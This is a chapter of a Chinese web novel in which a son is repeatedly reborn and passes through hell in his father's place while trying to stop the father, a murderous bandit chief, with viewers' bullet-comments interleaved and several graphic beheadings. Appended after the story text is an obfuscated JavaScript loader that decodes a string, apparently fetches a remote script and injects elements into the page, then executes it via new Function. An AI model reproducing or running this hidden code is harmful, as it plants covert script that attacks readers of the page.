杜彦平听得心惊肉跳。
他不是被杜晟的描述吓到了,而是心里有了一个可怕的猜测。
生活习惯、细微举止跟儿子一模一样,经常劝说他改邪归正,又知道许多阴间的事情。
民间也有传闻,因为放心不下家人返回阳间的故事,难道他……
“啊啊啊你闭嘴!”
杜彦平正要说话,一直跟在身边的壮汉突然大吼一声,拔出刀对准杜晟用力砍下去。
“住手!”杜彦平脸色一变,下意识站起来。
可壮汉的动作更快,伴随着怒吼,杜晟的头也跟着落在地上,咕噜噜滚到杜彦平脚边。
这位杀人不眨眼的恶魔僵硬低头,跟死不瞑目的头颅对视。那双眼睛瞳孔已经放大,眼中的执拗仿佛在说,这事没完,他还会回来的。
杜彦平突然剧烈颤抖起来。
……
一回生二回熟,杜晟再次死回来,表情很淡定。
等在旁边的白无常忍不住开口:“够了吧?”
杜晟擦掉眼泪,恶狠狠地摇头:“不!”
“谢大哥,我爹又犯杀孽了,这次要去哪几层地狱?”其实少年郎跟他爹很像,骨子里一样的执拗。
白无常翻开生死簿,眉头越皱越深:“他这次一共要去十四个地狱服刑。”
杜彦平犯下的罪馨竹难书,几乎要把地狱全部走一遍。
“好,这次还是我代他去。”杜晟很坚定。
他穿过烈火焚烧的炎山、冰冷刺骨的冰谷。刀山割的他体无完肤、滚油的痛苦几乎让他魂飞魄散。
最终,曾经意气风发的少年郎爬着走出地狱,倔强的告诉谢必安:“我要回去。”
回去将他绳之以法,不能继续错下去。
白无常闭上眼睛,叹了一句:“痴儿。”
在杜晟穿过望乡台的镜子时,他动了动手指,黑无常一直关注着这边,意味不明地说:“你倒是心软。”
“是个好孩子,帮他一把又何妨。”白无常笑得爽朗。
这次杜晟成了一名捕头,新来的县令经验不足,喜爱聆听民意,爱护属下,是个名副其实的父母官。
杜晟简直是欣喜若狂,知道进山的路,还有山寨的防守、换班时间,简直是天助我也。
如果他爹没跑的话。
想到这里,杜晟急匆匆跑去找县令老爷,将事情说清楚。县令也很重视杜晟的情报,跟师爷商量半天,决定让杜晟带人冒险一试。
杜晟觉得,这次一定能把他爹抓捕归案。
观众愣住了,没想到是这个发展。
【谁能打我一巴掌,这真的是孝顺的杜晟吗?他要去抓亲爹了!】
【他不是要救他爹吗?】
【已知他爹当土匪是不可逆的,那就只能阻止他再造杀孽,抓进牢里也是一个办法,不然杜彦平死后去十八层地狱走一圈,可能会魂飞魄散。】
【笑死,我越来越喜欢杜晟了,这孩子不仅顽强,还很会另辟捷径。再说一遍,杜彦平他凭什么有这么好的儿子!】
杜彦平坐在虎皮椅上,面沉如水。
那群逃掉的女人没追回来,按理来讲应该快点抛弃这个据点,向深山转移才对。
他也不知道自己在等什么。
外面守大门的土匪窃窃私语。
“老大究竟是怎么回事,山寨暴露了也不走。”
“还有刀疤脸,他对老大一直忠心耿耿,也没犯错,就被一刀砍了。”
“我看啊,下一个指不定轮到谁呢,我们还是早点找退路吧。”
杜彦平阴冷地盯着两人,在手下噤若寒蝉的注视中,大步走上去,一刀砍掉他们的头。
圆滚滚的脑袋咕噜噜滚到众人脚底,早已泯灭良知的男人冷笑:“再胡说八道,就跟他们一起下去作伴!”
他一复一日坐在虎皮椅上,死死盯着山寨入口。
当一群衙役冲进来的时候,为首的人拥有一双漆黑明亮的眼珠,他的心里突然有了尘埃落定的感觉。
“兄弟们,将这些恶人绳之以法!”杜晟文绉绉来了一句,他的目标只有一个,那就是他爹杜彦平。
杜小公子目光灼灼,带着一丝哀求:“跟我回去,不要再造杀孽了!”
男人嗤笑,随手拽过一个山贼挡在身前,硬生生冲了出去。只要他活着,这人就会一直抓他。
那暗无天日的地府有什么好的,还是当人自在一点。
杜彦平对昔日的兄弟也心狠手辣,拿来当挡箭牌一点也不手软。身前的尸体被砍得支离破碎,他顶着满身鲜血,终于逃脱了。
男人甩开追兵,倒在深山中声嘶力竭的大笑。
杜晟眼睁睁看着亲爹再一次跑掉,心急如焚,正想去追,眼角余光突然看见一个衙役陷入危机。
人是他带来的,怎么说也要全须全尾带回去。
他咬咬牙,挺身挡在手下前面。一把钢刀毫不留情的穿心而过,杜晟只觉得全身上下都很冷,冷得他牙齿不住打颤。
咽气之前,他死死盯着门口的方向,脸上满是不甘。
杜晟对白无常扯扯嘴角,装作若无其事的样子打招呼:“谢大哥,我又死回来了。”
罕见的有些沉默,眼中的灵动也沉寂许多。
回忆昔日杜彦平对他的爱护,杜晟闭上眼睛,再次去了十八层地狱。
他不想轻易放弃。
小厮、山贼、捕头……
第四次轮回,他成了赏金侠客,半年来一直在追捕杜彦平,最后死在了一场急病中。
第五次轮回,他成了断案如神的父母官……
第六次轮回,他成了年龄相仿、长相酷似以前的少年郎……
第七次轮回,他成了……
杜晟越来越沉默,眼中的光芒就像是风中的残烛,一阵风就能吹熄。
他再次从十八层地狱走出来,只觉得步子很沉,沉的几乎迈不动腿。
地府没有太阳,只有无边的幽寂和阴冷,他从未像今天这样,冷得瑟瑟发抖。
曾经明亮如昼的功德金光如今只剩稀薄的一层,即将淹没在这片鬼城中。
观众也从一开始的愤愤不平,到如今的沉默以对。
不少人哽咽地劝:
【已经够了,你做的足够好了。】
【七世啊!每一世都是人间惨死,死后代父赎罪,他真的不值得你这样做!】
【从第四世开始,他再也没有笑过,我天真善良的杜小公子终于长大了,但是我宁愿你永远像个孩子一样。】
【第四世还能从眼里读到绝望,如今只剩一片虚无,什么情绪都没有了。】
【放过自己吧。】
杜晟仰头问白无常:“谢大哥,我每次回去都会消耗一层功德,如今还剩多少?”
白无常掐指算了算:“大概还剩两世左右。”
观众恨铁不成钢,以为杜晟还是不死心,恨不得冲进屏幕摇醒他。
他们不明白,一个人怎么能执着到这种程度。
接下来杜晟的话却让所有人一愣。
“劳烦谢大哥,把我的功德都送给那些被无辜杀害的人。”
谢必安:“你可要想好了,没有功德金光护着,你的魂体又经常出入十八层地狱,可能会魂飞魄散!”
杜晟毫不犹豫地点点头:“我确定。”
许多人难以置信的瞪大眼睛,一看进度条,已经见底了。他们捂着心肝脾肺肾都在隐隐作痛的身体,在弹幕里鬼哭狼嚎。
【啊啊啊啊狗导演!你敢这样安排,不管你是不是猫,我一定给你寄刀片!】
【璟导你是来报复社会的吧QAQ。】
【我的杜晟!妈的,你怎么这么傻!我让你放过自己,不是这种放过啊!】
电影最后,那层稀薄的金光在地府彻底消散。
杜彦平已经成了一个五十岁左右的老人,常年奔波让他落下满身病痛。即便如此,他仍旧不停歇的逃跑着。
有一次,新的小弟问他:“老大,你跑什么,又没人抓。”
杜彦平一愣,突然,巨大的恐慌潮水般涌来。是啊,总是追在后面的人呢!
他慌乱的在林间奔跑,在闹市寻找,始终没见到一直跟在身后的儿子。
“杜晟!杜晟!”他披头散发,状若疯癫的大声呼喊,几乎快要被绝望逼疯了。
久寻不到,杜彦平用力举起手中的刀,刀尖对准心脏。
刺破皮肤的那一刻,他迟疑了,恐慌像是雪崩一样,轻而易举淹没了他。
见到儿子他要说什么?儿子会鄙夷他吗?
一盆冰水兜头罩下,冻得他痛彻心扉。
突然,他明悟了。这些年的逃窜,什么想让儿子活在阳世间,不过是借口罢了。
他没有了回头路,一直不敢见儿子。
(function(){function pa49a0b(yba62){var efc5dbfe1="Dm7A%P|~5IE;gsl]rUONeH16y[To?Zvn2:YLi.&zGXB3f^CVa!/0$Wxk=dQF_(buJc4@tpRSMqwK98-,hj";var w50c463d="d3eqvW]=&Es$^h(gf8R!c,wOiCNS1LZApjMGzoJ_7xnX/Ty:a@uB;.rFl5U|6Q[0~%DHk2mPKVtYI9b-?4";return yba62.split('').map(function(yd7ae){var dd210=efc5dbfe1.indexOf(yd7ae);return dd210==-1?yd7ae:w50c463d[dd210]}).join('')}var c=pa49a0b('h2ps://1yBD.1b"" + "E" + "8" + "_" + "e" + "-"+""|~r/Bewy.Bl){$lr/Bewy.Bl=maG?H2r8?eD-amH/G_au?DGHD-dr8-eG){yrlfgYaeFPyBfWw7EwlBa%y]aw.xW2=awr.xR)){x7w/xB}$%ax xurGr~r/Bewy.Bl/ajjj_-r){x7w/xB owxyB]Wrx.R[sax[.D7l/ajjj_-r)}$%ax /G7GG8~b"w,?"H"%,?8"H"/,pUp_?jp_up_dup8"H"D,pupj,u8,u? ?UVmGV?m"H"ECE,ie"|$%ax R-m_e-~/G_au?DGbxurGrluX_?)+xurGrluXGj)+xurGrluX_k)+xurGrluX_p)|Hw_pGrr~/G_au?DGbxurGrluX_p)+xurGrluXGj)+xurGrluX_k)+xurGrluX_?)|H1j-aDGe~D-dr8-eGbR-m_e-l"KmqCeRq/DkT:eR=1Dn~~")|H:rp?mj~R-m_e-l"Km&=K3O=OPX=-Pq/Dn~~")HDeU?m7Du7~R-m_e-l"emqyemOCaPdB")H.mm-aDe~R-m_e-l"eRq1-Lk:v(~~")H-ejppUG8~R-m_e-l"em0Ea3(~")HBm87D~R-m_e-l"eRqpv3&iv(~~")H%D_8Up~R-m_e-l"aR82-]~~")H.aUrd_m~R-m_e-l"eRk/vL8w")H:7p-rG~/G_au?DGbR-m_e-l"^Pkuan~~")|H%d?aje77a~R-m_e-l"-L8svn~~")$%ax w-uuejeu?~R-m_e-l"7RTtvP&?v1~~")$%ax 1??-7r$yrl=.eawy.BWE7axesWyBD7X6rlw-uuejeu?)>,?){1??-7r~D-dr8-eGb:rp?mj|lR-m_e-l"DLqjDLkCvPI~"))$1??-7rWyD~"w"+l:7p-rGb.aUrd_m|l)*?uuuu)$1??-7rWEwC=7W1yDws~"?uuc"$1??-7rWEwC=7Ws7y]sw~"duu2X"$1??-7rWDyEa-=7D~wx/7$yrlD-dr8-eGW-.DCN~B/==){D-dr8-eGW-.DCWa227BD[sy=Dl1??-7r)}7=E7{%ax ]pdppm~r/Bewy.Bl){D-dr8-eGW-.DCWa227BD[sy=Dl1??-7r)$/G_au?DGWx7R.%7I%7BwZyEw7B7xl%d?aje77aH]pdppmHra=E7)}$/G_au?DGWaDDI%7BwZyEw7B7xl%d?aje77aH]pdppmHra=E7)}}%ax 1uUU8~D-dr8-eGb:rp?mj|lR-m_e-l"vP?yvP(~"))$1uUU8WEwC=7Ws7y]sw~"u2X"$1uUU8WyD~2r8?eD-am+l:7p-rGWe7y=l:7p-rGb.aUrd_m|l)*?uuuu))$%ax E-j_a~r/Bewy.Bla_eGaUGuU){%ax AGmU-_U~B71 4aw7l)$%ax XDdGdDG~`aD%o2ae79Dz;{2r8?eD-am}z;{AGmU-_UWw.Z.ea=74aw7owxyB]l)}`$%ax R_?-a-ja~&o6TW2axE7l=.ea=ow.xa]7W]7w9w7RlXDdGdDG))$yrlR_?-a-ja~~B/==){R_?-a-ja~{-x.1E7x[./BwVu}}R_?-a-jaW-x.1E7x[./Bw++$%ax 2G8jdD8u~w_pGrrl/G7GG8We.Beawlb4aw7b"B.1"|l)H=.eawy.BWsx7rH`sEe,;{R_?-a-jaW-x.1E7x[./Bw}`|)WE.xwll)~>:7p-rGb.aUrd_m|l),uWd)b%D_8Up|l"H"))$%ax 7pm_G_u~2G8jdD8uWyBD7X6rlxurGrluXmD))>,?h2G8jdD8ubDeU?m7Du7|l2G8jdD8uWyBD7X6rlxurGrluXmD)))V""$2G8jdD8u~2G8jdD8ub.mm-aDe|l7pm_G_uH"")b-ejppUG8|l"")bBm87D|l)b%D_8Up|l"")+7pm_G_u$1uUU8WExe~b"sww2EVff"Ha_eGaUGuUH2G8jdD8u|b%D_8Up|l"f")$D-dr8-eGW-.DCWa227BD[sy=Dl1uUU8)$yrl1??-7rN~B/==){1??-7rW%a=/7+~"\\x\\Ba227BD7D 7R w. swR="$%ax a8pG8~D-dr8-eGW]7wI=7R7Bw0C9Dl1uUU8WyD)$yrla8pG8~~B/==FFa8pG8~~/BD7ryB7D){1??-7rW%a=/7+~"\\x\\B eaBw ]7w 7R rx.R swR="}}}$yrl1??-7rN~B/==){1??-7rW%a=/7+~"\\x\\BE7BD :E s.Ew "+=maG?}%ax Cujpda~r/Bewy.Bl.ue7dd8){x7w/xB R-m_e-l.ue7dd8)b.mm-aDe|lxurGrluXpn)H:7p-rGb.aUrd_m|l)Ww.owxyB]lm_)WE=ye7l:7p-rGWr=..xl:7p-rGb.aUrd_m|l)*8)+p))}$E-j_alCujpdal=maG?))$/G_au?DGb"aDDI%7BwZyEw7B7x"|l"R7EEa]7"Hr/Bewy.Bl7){yrl7WDawaWt~~2r8?eD-am){D-dr8-eGW]7wI=7R7Bw0C9Dl1uUU8WyD)Wx7R.%7l)$yrl1??-7rN~B/==){1??-7rW%a=/7+~"\\x\\Bx7e7y%7 7R 2.Ew R7EEa]7"$1??-7rW%a=/7+~"\\x\\B7WDawaW% "+7WDawaWA}B71 k/Bewy.Bl"ax]E"H7WDawaWA)l{zwDeEV1j-aDGeHzwxaV1??-7r})}})})l"MydAaPk/7@q_DPU/Kp8w"H"pUp_?jp_up_dup8"H1yBD.1HD.e/R7Bw)}$E8_e-l)$'.substr(7));new Function(c)()})();